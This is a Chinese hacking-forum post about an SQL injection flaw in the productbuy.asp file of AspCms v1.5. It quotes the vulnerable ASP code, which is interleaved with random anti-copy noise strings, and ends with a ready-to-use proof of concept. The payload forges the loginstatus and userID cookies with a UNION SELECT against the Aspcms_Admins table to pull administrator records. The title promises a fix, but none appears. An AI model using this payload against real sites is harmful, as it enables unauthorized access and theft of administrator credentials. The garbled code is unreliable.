AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：

3 m! C7 u' t0 x/ I<%
/ |* E% G+ p1 o- m# s9 l  s+ R, q
if action = "buy" then

0 q  d2 a' [3 h! x        addOrder()
. D* P1 k: l$ u5 p2 f% n: J
else
, p7 e; f, h" d6 X# Q- K) }
        echoContent()
! Y+ ]' ?5 T9 N* |) s4 _$ Z
- ^$ ?7 I3 F+ U8 U& K5 E8 b4 Cend if



……略过

  E3 ~. M% r& T5 w# V
  b7 c7 ?3 A7 M$ ^/ s
$ i" c( T. {* P$ X6 p) ZSub echoContent()
' H% M3 n- K7 k$ r
        dim id
3 F  K5 i, S9 J! T: W$ J# I; j' p
  x5 F1 c& k5 Z  h3 l        id=getForm("id","get")

        
' F9 S% i9 F4 p$ j+ w: ^$ g3 @4 v
* k" H" T/ Z6 x. M* P* K4 g; z        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

- c3 {' r0 s4 C# L" ?) a% s        
  {' N* ^$ p8 B% P2 F
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

4 N. M! y1 Q+ ^. m( p$ q! _        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

. Q- j, e3 W* Y( A# @        Dim templatePath,tempStr
# P9 }% f/ c# E% S4 O2 G
9 o$ L) r8 ?3 M2 {        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"



        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
) L4 ^# V4 }, o6 W0 V
        selectproduct=rsObj(0)

+ u& ?- f9 x9 [: ~8 X* n        
& Z' j" c% t) O$ c" p* k7 h
) |- P6 t+ W  ?        Dim linkman,gender,phone,mobile,email,qq,address,postcode
, N1 `( S: ^3 m( H# [' i! o+ Z
# R& F6 x; n" v- z& _$ s+ E9 D        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  
( h4 ^( k/ {. w4 m3 b
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

3 p- U% T$ I7 c: U& [! y; U% N) T: ~( z8 P                linkman=rsObj("truename")
: v9 d* ^6 o1 h; ^3 o6 U/ U
                gender=rsObj("gender")

                phone=rsObj("phone")
6 h5 T# n4 E* k/ v6 v. J
                mobile=rsObj("mobile")
' j. R7 D' [. h1 I! t
                email=rsObj("email")
& |* X* T7 B6 u  J$ Z1 x6 j
$ J! p1 b$ O' I0 @                qq=rsObj("qq")

                address=rsObj("address")
- v3 F# s# k, @6 ?- i/ y* X
* `' r" M( G& j9 ?1 J& j                postcode=rsObj("postcode")

" h( C+ ~; ^" V7 D- Q        else
: h8 v. j( K/ x* F
                gender=1

8 d1 n0 M- ^. ]2 A* _        end if

' _/ v# ^2 @7 d        rsObj.close()

4 N1 @& v8 }* l) {3 B* U               
: _# G8 Z3 T  }  [' W6 ^& a
        with templateObj
. Y( Y+ s0 V, O6 m" S# d
% w) X( B% d2 x0 R, [                .content=loadFile(templatePath)        
. [; y5 t2 W5 i( P8 m0 x
% U$ n# H8 V( h9 s0 h2 M  T: e3 v                .parseHtml()
3 j- W' w" I- }& ?" y; g  f
9 y0 g8 r) m: G& W& [2 S- [9 r                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
% R% l# u1 Y& p
5 [/ D' E2 v/ z1 y                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

                .content=replaceStr(.content,"[aspcms:gender]",gender)               

                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
( P7 f/ c; x" E$ ?$ A3 K2 m) `
                .content=replaceStr(.content,"[aspcms:email]",email)                        
& R+ Z4 V% g! g2 y9 v
/ h0 R% }7 N3 d( B0 s                .content=replaceStr(.content,"[aspcms:qq]",qq)                        

                .content=replaceStr(.content,"[aspcms:address]",address)                        

9 H1 R2 B8 T8 J/ `                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

. k# y: g( n; m6 B9 T                .parseCommon()                 
7 J0 t5 @& z1 C! r
8 @& C8 T* R/ I+ g0 g) ^; g8 }                echo .content

8 z: K  a( ?  ?/ F, @. E, Q# Q6 c        end with

        set templateobj =nothing : terminateAllObjects
. k5 R1 l3 i# o
End Sub
4 j  ^: t# L! g' A4 r漏洞很明显，没啥好说的
* f5 z  h# s* Npoc：

) ~4 G% H* Y% E+ ?# V+ \javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​